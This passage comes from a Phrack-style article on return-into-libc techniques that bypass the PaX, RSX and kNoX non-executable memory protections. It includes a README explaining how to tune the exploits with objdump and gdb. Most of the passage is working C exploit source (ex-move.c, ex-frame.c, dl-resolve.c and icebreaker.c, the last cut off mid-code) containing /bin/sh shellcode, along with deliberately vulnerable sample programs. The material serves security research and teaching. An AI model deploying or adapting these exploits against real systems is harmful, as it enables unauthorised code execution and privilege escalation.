a process' data space. That is why in dl-resolve.c sample program (though
it is very small) we have to allocate a few tens of thousands (RQSIZE) of
bytes.
Well, we can arbitrarily enlarge a process' data space with setting
MALLOC_TOP_PAD_ environ variable (remember traceroute exploit ?), but this
would work only in case of a local exploit. Instead, we will choose more
generic (and cheaper) method. We will place verind lower, usually within
read-only mmapped region, so we need to find a null short there. The
exploit will relocate "sym" structure into an address determined by verind
location.
Where to look for this null short ? First, we should determine (by
consulting /proc/pid/maps just before the attacked program crashes) the
bounds of the memory region which is mmapped writable (the executable's
data area) when the overflow occurs. Say, these are the addresses within
[low_addr,hi_addr]. We will copy "sym" structure there. A simple
calculation tells us that real_index must be within
[(low_addr-SYMTAB)/16,(hi_addr-SYMTAB)/16], so we have to look for null
short within [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8].
Having found a suitable verind, we have to check additionally that
1) sym's address won't intersect our fake frames
2) sym's address won't overwrite any internal linker data (like strcpy's
GOT entry)
3) remember that the stack pointer will be moved to the static data area.
There must be enough room for stack frames allocated by the dynamic
linker procedures. So, its best (though not necessary) to place "sym"
after our fake frames.
An advice: it's better to look for a suitable null short with gdb,
than analyzing "objdump -s" output. The latter does not display memory
placed after .rodata section.
The attached ex-pax.c file is a sample exploit against pax.c. The
only difference between vuln.c and pax.c is that the latter copies another
environment variable into a static buffer (so 6.1.2 is satisfied).
--[ 7 - Misc
----[ 7.1 - Portability
Because PaX is designed for Linux, throughout this document we
focused on this OS. However, presented techniques are OS independent. Stack
and frame pointers, C calling conventions, ELF specification - all these
definitions are widely used. In particular, I have successfully run
dl-resolve.c on Solaris i386 and FreeBSD. To be exact, mmap's fourth
argument had to be adjusted (looks like MAP_ANON has different value on BSD
systems). In case of these two OS, the dynamic linker do not feature
symbol versions, so ret-into-dl is even easier to accomplish.
----[ 7.2 - Other types of vulnerabilities
All presented techniques are based on stack buffer overflow. All
return-into-something exploits rely on the fact that with a single overflow
we can not only modify %eip, but also place function arguments (after the
return address) at the stack top.
Let's consider two other large classes of vulnerabilities: malloc
control structures corruption and format string attacks. In case of the
previous, we may at most count on overwriting an arbitrary int with an
arbitrary value - it is too little to bypass PaX protection genericly. In
case of the latter, we may usually alter arbitrary number of bytes. If we
could overwrite saved %ebp and %eip of any function, we wouldn't need
anything more; but because the stack base is randomized, there is no way
to determine the address of any frame.
(Digression: saved FP is a pointer which can be used as an argument
to %hn. But the succesfull exploitation would require three function returns
and preferably an appropriately located user-controlled 64KB buffer.)
I hope that it is obvious that changing some GOT entry (that is, gaining
control over %eip only) is not enough to evade PaX.
However, there is an exploitable scenario that is likely to happen.
Let's assume three conditions:
1) The attacked binary has been compiled with -fomit-frame-pointer
2) There is a function f1, which allocates a stack buffer whose content we
control
3) There is a format bug (or a misused free()) in the function f2, which is
called (possibly indirectly) by f1.
The sample vulnerable code follows:
void f2(char * buf)
{
printf(buf); // format bug here
some_libc_function();
}
void f1(char * user_controlled)
{
char buf[1024];
buf[0] = 0;
strncat(buf, user_controlled, sizeof(buf)-1);
f2(buf);
}
Suppose f1() is being called. With the help of a malicious format
string we can alter some_libc_function's GOT entry so that it contains the
address of the following piece of code:
addl $imm, %esp
ret
that is, some epilogue of a function. In such case, when some_libc_function
is called, the "addl $imm, %esp" instruction will alter %esp. If we choose
an epilogue with a proper $imm, %esp will point within "buf" variable,
whose content is user controlled. From this moment on, the situation looks
just like in case of a stack buffer overflow. We can chain functions, use
ret-into-dl etc.
Another case: a stack buffer overflow by a single byte. Such
overflow nullifies the least significant byte of a saved frame pointer.
After the second function return, an attacker has a fair chance to gain
full control over the stack, which enables him to use all the presented
techniques.
----[ 7.3 - Other non-exec solutions
I am aware of two other solutions, which make all data areas
non-executable on Linux i386. The first one is RSX [10]. However, this
solution does not implement stack nor libraries base randomization, so
techniques described in chapter 3 are sufficient to chain multiple function
calls.
Some additional effort must be invested if we want to execute
arbitrary code. On RSX, one is not allowed to execute code placed in a
writable memory area, so the mmap(...PROT_READ|PROT_WRITE|PROT_EXEC) trick
does not work. But any non-exec scheme must allow to execute code from
shared libraries. In RSX case, it is enough to mmap(...PROT_READ|PROT_EXEC)
a file containing a shellcode. In case of a remote exploit, the function
chaining allows us to even create such a file first.
The second solution, kNoX [11], is very similar to RSX. Additionally,
it mmaps all libraries at addresses starting at 0x00110000 (just like in
the case of Solar's patch). As mentioned at the end of 3.4, this protection
is insufficient as well.
----[ 7.4 - Improving existing non-exec schemes
(Un)fortunately, I don't see a way to fix PaX so that it would be
immune to the presented techniques. Clearly, ELF standard specifies too
many features useful for attackers. Certainly, some of presented tricks can
be stopped from working. For example, it is possible to patch the kernel so
that it would not honor MAP_FIXED flag when PROT_EXEC is present. Observe
this would not prevent shared libraries from working, while stopping the
presented exploits. Yet, this fixes only one possible usage of function
chaining.
On the other hand, deploying PaX (especially when backed by
segvguard) can make the successful exploitation much more difficult, in
some cases even impossible. When (if) PaX becomes more stable, it will be
wise to use it, simply as another layer of defense.
----[ 7.5 - The versions used
I have tested the sample code with the following versions of patches:
pax-linux-2.4.16.patch
kNoX-2.2.20-pre6.tar.gz
rsx.tar.gz for kernel 2.4.5
You may test the code on any vanilla 2.4.x kernel as well. Due to some
optimisations, the code will not run on 2.2.x.
--[ 8 - Referenced publications and projects
[1] Aleph One
the article in phrack 49 that everybody quotes
[2] Solar Designer
"Getting around non-executable stack (and fix)"
http://www.securityfocus.com/archive/1/7480
[3] Rafal Wojtczuk
"Defeating Solar Designer non-executable stack patch"
http://www.securityfocus.com/archive/1/8470
[4] John McDonald
"Defeating Solaris/SPARC Non-Executable Stack Protection"
http://www.securityfocus.com/archive/1/12734
[5] Tim Newsham
"non-exec stack"
http://www.securityfocus.com/archive/1/58864
[6] Gerardo Richarte, "Re: Future of buffer overflows ?"
http://www.securityfocus.com/archive/1/142683
[7] PaX team
PaX
http://pageexec.virtualave.net
[8] segvguard
ftp://ftp.pl.openwall.com/misc/segvguard/
[9] ELF specification
http://fileformat.virtualave.net/programm/elf11g.zip
[10] Paul Starzetz
Runtime addressSpace Extender
http://www.ihaquer.com/software/rsx/
[11] Wojciech Purczynski
kNoX
http://cliph.linux.pl/knox
[12] grugq
"Cheating the ELF"
http://hcunix.7350.org/grugq/doc/subversiveld.pdf
<++> phrack-nergal/README.code !35fb8b53
The advanced return-into-lib(c) exploits:
PaX case study
Comments on the sample exploit code
by Nergal
First, you have to prepare the sample vulnerable programs:
$ gcc -o vuln.omit -fomit-frame-pointer vuln.c
$ gcc -o vuln vuln.c
$ gcc -o pax pax.c
You may strip the binaries if you wish.
I. ex-move.c
~~~~~~~~~~~~
At the top of ex-move.c, there are definitions for LIBC, STRCPY,
MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES constants. You have to correct them.
MMAP_START can be left untouched.
1) LIBC
[nergal@behemoth pax]$ ldd ./vuln.omit
libc.so.6 => /lib/libc.so.6 (0x4001e000) <- this is our address
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
2) STRCPY
[nergal@behemoth pax]$ objdump -T vuln.omit
vuln.omit: file format elf32-i386
DYNAMIC SYMBOL TABLE:
08048348 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info
08048358 DF *UND* 0000010c GLIBC_2.0 getenv
08048368 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info
08048378 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main
08048388 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize
08048530 g DO .rodata 00000004 Base _IO_stdin_used
00000000 w D *UND* 00000000 __gmon_start__
08048398 DF *UND* 00000030 GLIBC_2.0 strcpy
^
|---- this is the address we seek
3) MMAP
[nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap
000daf10 w DF .text 0000003a GLIBC_2.0 mmap
000db050 w DF .text 000000a0 GLIBC_2.1 mmap64
The address we need is 000daf10, then.
4) POPSTACK
We have to find "add $imm,%esp" followed by "ret". We must
disassemble vuln.omit with the command "objdump --disassemble ./vuln.omit".
To simplify, we can use
[nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret
...some crap
--
80484be: 83 c4 2c add $0x2c,%esp
80484c1: c3 ret
--
80484fe: 5d pop %ebp
80484ff: c3 ret
--
...more crap
We have found the esp moving instructions at 0x80484be.
5) POPNUM
This is the amount of bytes which are added to %esp in POPSTACK.
In the previous example, it was 0x2c.
6) PLAIN_RET
The address of a "ret" instruction. As we can see in the disassembler
output, there is one at 0x80484c1.
7) FRAMES
Now, the tough part. We have to find the %esp value just after the
overflow (our overflow payload will be there). So, we will make vuln.omit
dump core (alternatively, we could trace it with a debugger). Having adjusted
all previous #defines, we run ex-move with a "testing" argument, which will
put 0x5060708 into saved %eip.
[nergal@behemoth pax]$ ./ex-move testing
Segmentation fault (core dumped) <- all OK
[nergal@behemoth pax]$ gdb ./vuln.omit core
(no debugging symbols found)...
Core was generated by ./vuln.omit'.
Program terminated with signal 11, Segmentation fault.
#0 0x5060708 in ?? ()
If in the %eip there is other value than 0x5060708, this means that
we have to align our overflow payload. If necessary, "scratch" array in
"struct ov" should be re-sized.
(gdb) info regi
...
esp 0xbffffde0 0xbffffde0
...
The last value we need is 0xbffffde0.
II. ex-frame.c
~~~~~~~~~~~~~~
Again LIBC, STRCPY, MMAP, LEAVERET and FRAMES must be adjusted. LIBC,
STRCPY, MMAP and FRAMES should be determined in exactly the same way like in
case of ex-move.c. LEAVERET should be the address of a "leave; ret"
sequence; we can find it with
[nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1
objdump: vuln: no symbols
8048335: c9 leave
8048336: c3 ret
--
80484bd: c9 leave
80484be: c3 ret
--
8048518: c9 leave
8048519: c3 ret
So, we may use 0x80484bd for our purposes.
III. dl-resolve.c
~~~~~~~~~~~~~~~~~
We have to adjust STRTAB, SYMTAB, JMPREL, VERSYM and PLT_SECTION
defines. As they refer to dl-resolve binary itself, we have to compile it
twice with the same compiler options. For the first compilation, we can
#define dummy values. Then, we run
[nergal@behemoth pax]$ objdump -x dl-resolve
In the output, we see:
[...crap...]
Dynamic Section:
NEEDED libc.so.6
INIT 0x804839c
FINI 0x80486ec
HASH 0x8048128
STRTAB 0x8048240 (!!!)
SYMTAB 0x8048170 (!!!)
STRSZ 0xa1
SYMENT 0x10
DEBUG 0x0
PLTGOT 0x80497a8
PLTRELSZ 0x48
PLTREL 0x11
JMPREL 0x8048354 (!!!)
REL 0x8048344
RELSZ 0x10
RELENT 0x8
VERNEED 0x8048314
VERNEEDNUM 0x1
VERSYM 0x80482f8 (!!!)
The PLT_SECTION can also be retrieved from "objdump -x" output
[...crap...]
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 080480f4 080480f4 000000f4 2**0
...
11 .plt 000000a0 080483cc 080483cc 000003cc 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
So, we should use 0x080483cc for our purposes. Having adjusted the
defines, you should compile dl-resolve.c again. Then run it under strace. At
the end, there should be something like:
old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000
_exit(123) = ?
As we see, mmap() is called, though it was not present in
dl-resolve.c's PLT. Of course, I could have added the shellcode execution,
but this would unnecessarily complicate this proof-of-concept code.
IV. icebreaker.c
~~~~~~~~~~~~~~~~
Nine #defines have to be adjusted. Most of them have already been explained.
Two remain: FRAMESINDATA and VIND.
1) FRAMESINDATA
This is the location of a static (or malloced) variable where the fake
frames are copied to. In case of pax.c, we need to find the address of
"bigbuf" array. If the attacked binary was not stripped, it would be easy.
Otherwise, we have to analyse the disassembler output. The "bigbuf" variable
is present in the arguments to "strncat" function in pax.x, line 13:
strncat(bigbuf, ptr, sizeof(bigbuf)-1);
So we may do:
[nergal@behemoth pax]$ objdump -T pax | grep strncat
0804836c DF *UND* 0000009e GLIBC_2.0 strncat
[nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3 <- _not_ 0804836c
objdump: pax: no symbols
8048362: ff 25 c8 95 04 08 jmp *0x80495c8
8048368: 00 00 add %al,(%eax)
804836a: 00 00 add %al,(%eax)
804836c: ff 25 cc 95 04 08 jmp *0x80495cc
--
80484e5: 68 ff 03 00 00 push $0x3ff <- 1023
80484ea: ff 75 e4 pushl 0xffffffe4(%ebp) <- ptr
80484ed: 68 c0 9a 04 08 push $0x8049ac0 <- bigbuf
80484f2: e8 75 fe ff ff call 0x804836c
So, the address of bigbuf is 0x8049ac0.
2) VIND
As mentioned in the phrack article, we have to determine [lowaddr, hiaddr]
bounds, then search for a null short int in the interval
[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8].
[nergal@behemoth pax]$ gdb ./icebreaker
(gdb) set args testing
(gdb) r
Starting program: /home/nergal/pax/./icebreaker testing
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x4ffb7d30 in ?? () <- icebreaker executed pax
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x5060708 in ?? () <- pax has segfaulted
(gdb) shell
[nergal@behemoth pax]$ ps ax | grep pax
1419 pts/0 T 0:00 pax
[nergal@behemoth pax]$ cat /proc/1419/maps
08048000-08049000 r-xp 00000000 03:45 100958 /home/nergal/pax/pax
08049000-0804a000 rw-p 00000000 03:45 100958 /home/nergal/pax/pax
^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^ here are our lowaddr, hiaddr
4ffb6000-4ffcc000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so
4ffcc000-4ffcd000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so
4ffcd000-4ffce000 rw-p 00000000 00:00 0
4ffd4000-500ef000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so
500ef000-500f5000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so
500f5000-500f9000 rw-p 00000000 00:00 0
bfff6000-bfff8000 rw-p fffff000 00:00 0
[nergal@behemoth pax]$ exit
exit
(gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8
0x804847b
(gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8
0x804867b
/* so, we search for a null short in [0x804847b, 0x804867b]
(gdb) printf "0x%x\n", 0x804867b-0x804847b
0x200
(gdb) x/256hx 0x804847b
... a lot of beautiful 0000 in there...
Now read the section 6.2 in the phrack article, or just try a few of the
addresses found.
<-->
<++> phrack-nergal/vuln.c !a951b08a
#include <stdlib.h>
#include <string.h>
int
main(int argc, char ** argv)
{
char buf[16];
char * ptr = getenv("LNG");
if (ptr)
strcpy(buf,ptr);
}
<-->
<++> phrack-nergal/ex-move.c !81bb65d0
/* by Nergal */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>
#define LIBC 0x4001e000
#define STRCPY 0x08048398
#define MMAP (0x000daf10+LIBC)
#define POPSTACK 0x80484be
#define PLAIN_RET 0x80484c1
#define POPNUM 0x2c
#define FRAMES 0xbffffde0
#define MMAP_START 0xaa011000
char hellcode[] =
"\x90"
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* This is a stack frame of a function which takes two arguments */
struct two_arg {
unsigned int func;
unsigned int leave_ret;
unsigned int param1;
unsigned int param2;
};
struct mmap_args {
unsigned int func;
unsigned int leave_ret;
unsigned int start;
unsigned int length;
unsigned int prot;
unsigned int flags;
unsigned int fd;
unsigned int offset;
};
/* The beginning of our overflow payload.
Consumes the buffer space and overwrites %eip */
struct ov {
char scratch[28];
unsigned int eip;
};
/* The second part ot the payload. Four functions will be called:
strcpy, strcpy, mmap, strcpy */
struct ourbuf {
struct two_arg zero1;
char pad1[8 + POPNUM - sizeof(struct two_arg)];
struct two_arg zero2;
char pad2[8 + POPNUM - sizeof(struct two_arg)];
struct mmap_args mymmap;
char pad3[8 + POPNUM - sizeof(struct mmap_args)];
struct two_arg trans;
char hell[sizeof(hellcode)];
};
#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))
//#define PTR_TO_NULL 0x80484a7
main(int argc, char **argv)
{
char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
char *env[2] = { lg, 0 };
struct ourbuf thebuf;
struct ov theov;
int i;
memset(theov.scratch, 'X', sizeof(theov.scratch));
if (argc == 2 && !strcmp("testing", argv[1])) {
for (i = 0; i < sizeof(theov.scratch); i++)
theov.scratch[i] = i + 0x10;
theov.eip = 0x05060708;
} else {
/* To make the code easier to read, we initially return into "ret". This will
return into the address at the beginning of our "zero1" struct. */
theov.eip = PLAIN_RET;
}
memset(&thebuf, 'Y', sizeof(thebuf));
thebuf.zero1.func = STRCPY;
thebuf.zero1.leave_ret = POPSTACK;
/* The following assignment puts into "param1" the address of the least
significant byte of the "offset" field of "mmap_args" structure. This byte
will be nullified by the strcpy call. */
thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_args, offset);
thebuf.zero1.param2 = PTR_TO_NULL;
thebuf.zero2.func = STRCPY;
thebuf.zero2.leave_ret = POPSTACK;
/* Also the "start" field must be the multiple of page. We have to nullify
its least significant byte with a strcpy call. */
thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_args, start);
thebuf.zero2.param2 = PTR_TO_NULL;
thebuf.mymmap.func = MMAP;
thebuf.mymmap.leave_ret = POPSTACK;
thebuf.mymmap.start = MMAP_START + 1;
thebuf.mymmap.length = 0x01020304;
/* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may
put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such
case, we would need more zeroing. */
thebuf.mymmap.prot =
0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
/* Same as above. Be careful not to include MAP_GROWS_DOWN */
thebuf.mymmap.flags =
0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
thebuf.mymmap.fd = 0xffffffff;
thebuf.mymmap.offset = 0x01021001;
/* The final "strcpy" call will copy the shellcode into the freshly mmapped
area at MMAP_START. Then, it will return not anymore into POPSTACK, but at
MMAP_START+1.
thebuf.trans.func = STRCPY;
thebuf.trans.leave_ret = MMAP_START + 1;
thebuf.trans.param1 = MMAP_START + 1;
thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);
memset(thebuf.hell, 'x', sizeof(thebuf.hell));
strncpy(thebuf.hell, hellcode, strlen(hellcode));
strcpy(lg, "LNG=");
memcpy(lg + 4, &theov, sizeof(theov));
memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf));
lg[4 + sizeof(thebuf) + sizeof(theov)] = 0;
if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) {
fprintf(stderr,
"size=%i len=%i; zero(s) in the payload, correct it.\n",
sizeof(struct ov) + sizeof(struct ourbuf) + 4,
strlen(lg));
exit(1);
}
execle("./vuln.omit", "./vuln.omit", 0, env, 0);
}
<-->
<++> phrack-nergal/pax.c !af6a33c4
#include <stdlib.h>
#include <string.h>
char spare[1024];
char bigbuf[1024];
int
main(int argc, char ** argv)
{
char buf[16];
char * ptr=getenv("STR");
if (ptr) {
bigbuf[0]=0;
strncat(bigbuf, ptr, sizeof(bigbuf)-1);
}
ptr=getenv("LNG");
if (ptr)
strcpy(buf, ptr);
}
<-->
<++> phrack-nergal/ex-frame.c !a3f70c5e
/* by Nergal */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>
#define LIBC 0x4001e000
#define STRCPY 0x08048398
#define MMAP (0x000daf10+LIBC)
#define LEAVERET 0x80484bd
#define FRAMES 0xbffffe30
#define MMAP_START 0xaa011000
char hellcode[] =
"\x90"
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* See the comments in ex-move.c */
struct two_arg {
unsigned int new_ebp;
unsigned int func;
unsigned int leave_ret;
unsigned int param1;
unsigned int param2;
};
struct mmap_args {
unsigned int new_ebp;
unsigned int func;
unsigned int leave_ret;
unsigned int start;
unsigned int length;
unsigned int prot;
unsigned int flags;
unsigned int fd;
unsigned int offset;
};
struct ov {
char scratch[24];
unsigned int ebp;
unsigned int eip;
};
struct ourbuf {
struct two_arg zero1;
struct two_arg zero2;
struct mmap_args mymmap;
struct two_arg trans;
char hell[sizeof(hellcode)];
};
#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))
main(int argc, char **argv)
{
char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
char *env[2] = { lg, 0 };
struct ourbuf thebuf;
struct ov theov;
int i;
memset(theov.scratch, 'X', sizeof(theov.scratch));
if (argc == 2 && !strcmp("testing", argv[1])) {
for (i = 0; i < sizeof(theov.scratch); i++)
theov.scratch[i] = i + 0x10;
theov.ebp = 0x01020304;
theov.eip = 0x05060708;
} else {
theov.ebp = FRAMES;
theov.eip = LEAVERET;
}
thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2);
thebuf.zero1.func = STRCPY;
thebuf.zero1.leave_ret = LEAVERET;
thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_args, offset);
thebuf.zero1.param2 = PTR_TO_NULL;
thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap);
thebuf.zero2.func = STRCPY;
thebuf.zero2.leave_ret = LEAVERET;
thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_args, start);
thebuf.zero2.param2 = PTR_TO_NULL;
thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans);
thebuf.mymmap.func = MMAP;
thebuf.mymmap.leave_ret = LEAVERET;
thebuf.mymmap.start = MMAP_START + 1;
thebuf.mymmap.length = 0x01020304;
thebuf.mymmap.prot =
0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
/* again, careful not to include MAP_GROWS_DOWN below */
thebuf.mymmap.flags =
0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
thebuf.mymmap.fd = 0xffffffff;
thebuf.mymmap.offset = 0x01021001;
thebuf.trans.new_ebp = 0x01020304;
thebuf.trans.func = STRCPY;
thebuf.trans.leave_ret = MMAP_START + 1;
thebuf.trans.param1 = MMAP_START + 1;
thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);
memset(thebuf.hell, 'x', sizeof(thebuf.hell));
strncpy(thebuf.hell, hellcode, strlen(hellcode));
strcpy(lg, "LNG=");
memcpy(lg + 4, &theov, sizeof(theov));
memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf));
lg[4 + sizeof(thebuf) + sizeof(theov)] = 0;
if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) {
fprintf(stderr,
"size=%i len=%i; zero(s) in the payload, correct it.\n",
sizeof(struct ov) + sizeof(struct ourbuf) + 4,
strlen(lg));
exit(1);
}
execle("./vuln", "./vuln", 0, env, 0);
}
<-->
<++> phrack-nergal/dl-resolve.c !d5fc32b7
/* by Nergal */
#include <stdlib.h>
#include <elf.h>
#include <stdio.h>
#include <string.h>
#define STRTAB 0x8048240
#define SYMTAB 0x8048170
#define JMPREL 0x8048354
#define VERSYM 0x80482f8
#define PLT_SECTION "0x080483cc"
void graceful_exit()
{
exit(123);
}
void doit(int offset)
{
int res;
__asm__ volatile ("
pushl $0x01011000
pushl $0xffffffff
pushl $0x00000032
pushl $0x00000007
pushl $0x01011000
pushl $0xaa011000
pushl %%ebx
pushl %%eax
pushl $" PLT_SECTION "
ret"
:"=a"(res)
:"0"(offset),
"b"(graceful_exit)
);
}
/* this must be global */
Elf32_Rel reloc;
#define ANYTHING 0xfe
#define RQSIZE 60000
int
main(int argc, char **argv)
{
unsigned int reloc_offset;
unsigned int real_index;
char symbol_name[16];
int dummy_writable_int;
char *tmp = malloc(RQSIZE);
Elf32_Sym *sym;
unsigned short *null_short = (unsigned short*) tmp;
/* create a null index into VERSYM */
*null_short = 0;
real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short);
sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB);
if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) {
fprintf(stderr,
"mmap symbol entry is too far, increase RQSIZE\n");
exit(1);
}
strcpy(symbol_name, "mmap");
sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB;
sym->st_value = (unsigned int) &dummy_writable_int;
sym->st_size = ANYTHING;
sym->st_info = ANYTHING;
sym->st_other = ANYTHING & ~3;
sym->st_shndx = ANYTHING;
reloc_offset = (unsigned int) (&reloc) - JMPREL;
reloc.r_info = R_386_JMP_SLOT + real_index*256;
reloc.r_offset = (unsigned int) &dummy_writable_int;
doit(reloc_offset);
printf("not reached\n");
return 0;
}
<-->
<++> phrack-nergal/icebreaker.c !19d7ec6d
/* by Nergal */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define STRCPY 0x080483cc
#define LEAVERET 0x08048359
#define FRAMESINDATA 0x08049ac0
#define STRTAB 0x8048204
#define SYMTAB 0x8048164
#define JMPREL 0x80482f4
#define VERSYM 0x80482a8
#define PLT 0x0804835c
#define VIND 0x804859b
#define MMAP_START 0xaa011000
char hellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/*
Unfortunately, if mmap_string = "mmap", accidentaly there appears a "0" in
our payload. So, we shift the name by 1 (one 'x').
#define NAME_ADD_OFF 1
char mmap_string[] = "xmmap";
struct two_arg {
unsigned int new_ebp;
unsigned int func;
unsigned int leave_ret;
unsigned int param1;
unsigned int param2;
};
struct mmap_plt_args {
unsigned int new_ebp;
unsigned int put_plt_here;
unsigned int reloc_offset;
unsigned int leave_ret;
unsigned int start;
unsigned int length;
unsigned int prot;
unsigned int flags;
unsigned int fd;
unsigned int offset;
};
struct my_elf_rel {
unsigned int r_offset;
unsigned int r_info;
};
struct my_elf_sym {
unsigned int st_name;
unsigned int st_value;
unsigned int st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* ELF spec say: No defined meaning, 0 */
unsigned short st_shndx; /* Section index */
};
struct ourbuf {
struct two_arg reloc;
struct two_arg zero[8];
struct mmap_plt_args mymmap;
struct two_arg trans;
char hell[sizeof(hellcode)];
struct my_elf_rel r;
struct my_elf_sym sym;
char mmapname[sizeof(mmap_string)];
};
struct ov {
char scratch[24];
unsigned int ebp;
unsigned int eip;
};
#define PTR_TO_NULL (VIND+1)
/* this functions prepares strcpy frame so that the strcpy call will zero
a byte at "addr"
void fix_zero(struct ourbuf *b, unsigned int addr, int idx)
{
b->zero[idx].new_ebp = FRAMESINDATA +
offsetof(struct ourbuf,
zero) + sizeof(struct two_arg) * (idx + 1);
b->zero[idx].func = STRCPY;
b->zero[idx].leave_ret = LEAVERET;
b->zero[idx].param1 = addr;
b->zero[idx].param2 = PTR_TO_NULL;
}
/* this function checks if the byte at position "offset" is zero; if so,
prepare a strcpy frame to nullify it; else, prepare a strcpy frame to
nullify some secure, unused location */
void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum)
{
char *ptr = (char *) b;
if (!ptr[offset]) {
fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum,
offset);
ptr[offset] = 0xff;
fix_zero(b, FRAMESINDATA + offset, zeronum);
} else
fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
zeronum);
}
/* same as above, but prepare to nullify a byte not in our payload, but at
absolute address abs */
void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset,
int zeronum)
{
char *ptr = (char *) b;
if (!ptr[offset]) {
fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum,
offset);
ptr[offset] = 0xff;
fix_zero(b, (unsigned int) addr, zeronum);
} else
fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
zeronum);
}
int main(int argc, char **argv)
{
char lng[sizeof(struct ov) + 4 + 1];
char str[sizeof(struct ourbuf) + 4 + 1];
char *env[3] = { lng, str, 0 };
struct ourbuf thebuf;
struct ov theov;
int i;
unsigned int real_index, mysym, reloc_offset;
memset(theov.scratch, 'X', sizeof(theov.scratch));
if (argc == 2 && !strcmp("testing", argv[1])) {
for (i = 0; i < sizeof(theov.scratch); i++)
theov.scratch[i] = i + 0x10;
theov.ebp = 0x01020304;
theov.eip = 0x05060708;
} else {
theov.ebp = FRAMESINDATA;
theov.eip = LEAVERET;
}
strcpy(lng, "LNG=");
memcpy(lng + 4, &theov, sizeof(theov));
